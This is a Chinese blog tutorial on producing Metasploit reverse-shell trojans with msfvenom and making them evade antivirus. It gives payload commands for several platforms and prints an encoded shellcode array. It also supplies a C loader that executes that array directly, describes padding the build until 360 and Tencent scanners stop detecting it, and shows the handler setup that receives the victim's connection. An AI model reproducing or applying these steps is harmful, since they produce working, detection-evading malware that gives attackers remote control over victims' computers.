Web渗透之MSF框架——msfvenom与免杀木马制作
文章目录
生成常见的反向连接木马
连接一般分为正向连接和反向连接:
正向连接为: 对方服务器开放端口,让我们去访问
反向连接为: 我们开放端口,让对方访问。也就是让对方来找我们的端口
反向连接的优势:
1.某客户机中了你的网马,但是它在局域网内,你直接连接不了。它的ip会动态改变,你不能持续控制。
2.由于防火墙等限制,对方机器只能发送请求,不能接收请求。
3.对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机,都是未知,所以建立一个服务端,让恶意程序主动连接,才是上策。
Windows:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 LHOST=[Your IP Address] LPORT=[Your Port to Connect On] -f exe > shell.exe
或者
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 LHOST=[Your IP Address] LPORT=[Your Port to Connect On] -f exe -o shell.exe
Linux:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=[Your IP Address] LPORT=[Your Port to Connect On] -f elf > shell.elf
MAC:
msfvenom -p osx/x86/shell_reverse_tcp LHOST=[Your IP Address] LPORT=[Your Port to Connect On] -f macho > shell.macho
PHP:
msfvenom -p php/meterpreter_reverse_tcp LHOST=[Your IP Address] LPORT=[Your Port to Connect On] -f raw > shell.php
Asp:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=[Your IP Address] LPORT=[Your Port to Connect On] -f asp > shell.asp
Aspx:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=[Your IP Address] LPORT=[Your Port to Connect On] -f aspx > shell.aspx
msfvenom参数介绍
参数 | 意义 |
---|---|
-p, --payload | 指定payload |
-l payloads | 列出可以设置的payload选项 |
-l, --list | 列出可用项 |
-n, --nopsled | 指定 nop 在 payload 中的数量 |
-f, --format | 指定文件输出格式 |
-l formats | 列出可用输出格式 |
-e, --encoder | 指定使用编码器 |
-l encoders | 查看可用得编码器 |
-a, --arch | 指定目标系统架构 |
–platform | 指定目标系统 |
-l platforms | 查看可用的目标系统 |
-s, --space | 未经编码的 Payload 的最大长度 |
–encoder-space [length] | 编码后的 Payload 的最大长度 |
-b, --bad-chars | 设置在Payload 中避免出现的字符 |
-i, --iterations | 设置 Payload 的编码次数 |
-c, --add-code | 包含额外的win32 shellcode文件 |
-x, --template | 指定特定的可执行文件作为模板 |
-k, --keep | 保护模板程序的功能,注入的payload作为一个新的进程运行 |
-o, --out | 保存 Payload 到文件 |
-v, --var-name | 指定变量名 |
生成免杀木马
360免杀木马
生成c语言后门
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 12 -b ‘\x00’ LHOST=[Your IP Address] LPORT=[Your Port to Connect On] -f c
保存生成的“unsigned char buf[] = …”内容
unsigned char buf[] =
"\xbb\x9c\x22\x24\x51\xdd\xc1\xd9\x74\x24\xf4\x5a\x33\xc9\xb1"
"\xa0\x83\xc2\x04\x31\x5a\x10\x03\x5a\x10\x7e\xd7\x9c\x34\x36"
"\xcb\x33\x6f\x03\x32\xbf\xb4\x7f\x9a\x71\x7c\xce\xbc\x43\x39"
"\x25\xbc\xe4\xd0\xc6\x05\xee\x38\x58\x7e\xec\xac\x6e\xa4\x8e"
"\xe7\x91\xe7\x29\xb8\x68\x7c\xa1\x21\x18\x69\x22\x1a\xd3\xa2"
"\xa2\xf5\x4e\x1c\x42\xbd\xb8\x53\x62\xde\xf3\xc1\x05\x63\x04"
"\xc4\xa7\xe3\xe2\x53\x61\x0f\xaa\x7e\x77\x57\x5e\x19\x62\x2b"
"\xeb\x7c\x25\x26\x75\xed\x98\xb1\x26\xd6\xfa\x14\x30\x50\x08"
"\x6a\x40\x5b\x82\xaf\xea\xec\x25\xac\xdb\xb4\xdf\xeb\x05\x54"
"\x9d\x84\xf8\xea\x80\x2e\x6e\xea\x08\x6a\x06\x6e\x10\xe8\xff"
"\x72\xe6\x0a\xbe\xab\xa2\x30\xa9\xbc\x71\xec\xa8\x46\x41\x55"
"\xda\x2c\xe9\xdd\xab\x7b\xa8\x09\xa8\xe2\xe5\x6b\x07\xa9\xa0"
"\x78\x9a\x70\xc2\x42\x7b\x84\x3c\x29\xa5\x38\x60\x95\x3f\x80"
"\xa5\x8c\x77\x06\xa8\x35\x92\x37\xdc\xe4\x02\xd8\x81\xaa\x32"
"\x6d\x6e\xf9\xb6\x35\x38\x8f\x15\x32\x61\x84\x36\x99\x65\xda"
"\xeb\x3b\x0f\x76\x34\x7c\x4e\x02\x7c\x54\xd1\xf4\xd4\x2f\x62"
"\xe3\x88\x37\x03\x53\x93\x33\xbb\xbb\xc6\x74\xd4\xe8\xf5\xdc"
"\xe5\x73\xf5\xce\xe8\xce\xa6\xd7\x8b\x19\x95\x6a\x8f\x77\x01"
"\x5f\x2b\x70\x27\xc6\xc6\xa1\x4e\x70\xc5\x55\xfc\xfd\x83\x12"
"\xd7\x60\x20\xb1\x16\x59\xe9\x93\x89\xdf\xa6\x2a\xf2\xc9\xab"
"\x93\xc0\x21\x2d\x0b\xeb\x6d\x98\xe5\xf3\x72\x0f\x68\xcf\x32"
"\xda\x4c\x84\x4e\x85\x70\x36\x5a\xda\x93\x3a\x21\xde\x28\xc1"
"\x67\x22\x63\xae\xf0\x9f\xfe\x81\x4f\x84\xf3\x7a\x40\xe7\x8c"
"\xef\xa4\x27\x45\x57\x64\x0f\xb7\x01\x34\x18\xed\xab\x26\x38"
"\x0b\x98\x5b\x36\xce\xd6\x4f\x96\xfe\xd1\xa7\x91\x4d\xec\x33"
"\x69\xf4\xc4\x47\x55\x8e\x6f\xd6\x94\x63\x32\xd5\x06\x74\xc2"
"\xa5\x3d\x50\xfe\x42\xac\x10\x9c\x58\xd2\xe9\x15\x7f\x72\x7f"
"\xaa\x9e\x8a\x4a\x0e\xf6\x3b\xdc\xa2\xd4\x7b\x14\x2d\x3d\x90"
"\x9b\x50\xd2\xe9\x8e\xdb\x2c\x76\x36\x67\xc2\x46\xee\x50\x66"
"\x74\xe6\xa4\x98\xf2\x4e\x38\xb6\x43\xcd\xea\x4b\xb2\x57\xcc"
"\xe7\x5f\x67\xd1\x72\x1e\x36\xbf\xb6\xbe\xdd\x49\xf0\x33\x6e"
"\x13\xc8\x50\xbb\x4d\xc4\xa1\xb1\xf8\x2e\x95\x01\x73\x3e\xa5"
"\x4e\xbd\xdc\xb6\x4f\xc0\x2e\xdb\x8e\x7b\x77\x38\xa2\x71\x36"
"\x2e\x7e\xd0\x5f\x54\x1b\xfe\x8a\x08\xbf\x6e\x8e\xe8\x03\xe4"
"\xcd\x3c\x7d\x0e\x26\x84\x54\x8b\xcd\xc7\xfc\xb2\x22\x57\x01"
"\x8f\xd7\x5a\x39\x4f\x1e\x7d\xd3\xc8\x3f\xba\xb7\x88\x52\xae"
"\x70\x9e\x19\x08\x96\xa4\xc9\xd6\x37\x6b\x2b\xf6\x93\xf4\x98"
"\xa3\x2b\x3e\x4b\x4e\x6a\x0b\x0e\x9b\x4a\x1b\x0b\x02\x26\xf6"
"\x2b\x42\x3a\x7b\x67\x7a\xe9\xdc\xfc\xe5\x1f\xf0\x5e\x6e\x90"
"\x05\xb8\x0c\x9c\x4c\xa3\x1d\x11\x49\x4c\xfe\x95\x1c\xda\x48"
"\x45\x44\x21\x0a\xa7\xe3\xe0\x57\x3a\x68\x9a\x02\xd6\xc3\xcb"
"\x56\x96\xf5\xf5\x20\x34\xe8\xce\xa1\x8b\xcf\x4e\x6e\x76\xea"
"\x80\xa7\xa9\x1c\xd9\x83\xea\x74\x84\x4a\x6c\x1b\x73\xb4\x8e"
"\x66\x43\x1f\xb7\xca\xb4\x67\x46\xfe\xe4\xb7\x43\xaf\xbd\x14"
"\xf6\x0b\xd1\xa8\xae";
我使用 Visual C++ 6.0 编译生成的代码
新建一个程序
编辑cpp文件:
#include "stdafx.h"
#include <stdio.h>
#pragma comment( linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
unsigned char buf[] =
(这里放生成好的数组)
main()
{
((void(*)(void))&buf)();
}
之后,组建 --> 编译
在工程文件夹中产生了12.exe
用360扫描这个exe,并不会报毒,但是用腾讯管家扫描会报毒。
腾讯管家免杀木马
工程中添加很多其他的无用的文件,添加“资源脚本”比较有效
然后 组建 --> 全部重建
会重新生成一个12.exe,用腾讯管家扫描不会报毒。
免杀木马测试
kali开启MSF:
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.83.157
set lport 1250
run
靶机运行刚才生成的12.exe文件,成功连接
写在最后
木马的查杀与免杀在笔者看来是一场非常充满艺术感的较量。
免杀的宗旨就是通过 编码 或者 添加大量不影响木马功能的无用内容破坏木马的特征,使得杀毒软件扫描不出密码的特征码,就不会报毒。
本文在制作免杀木马时用到了:
- 分离免杀(16进制数据与加载器分开,用c语言进行编译)
- 二次编译(12次)
- 修改特征码(加了没有意义的内容)
上一篇: 老人脑供血不足怎么办 这些措施可改善
下一篇: 八原因引发高血压 危害老人健康主凶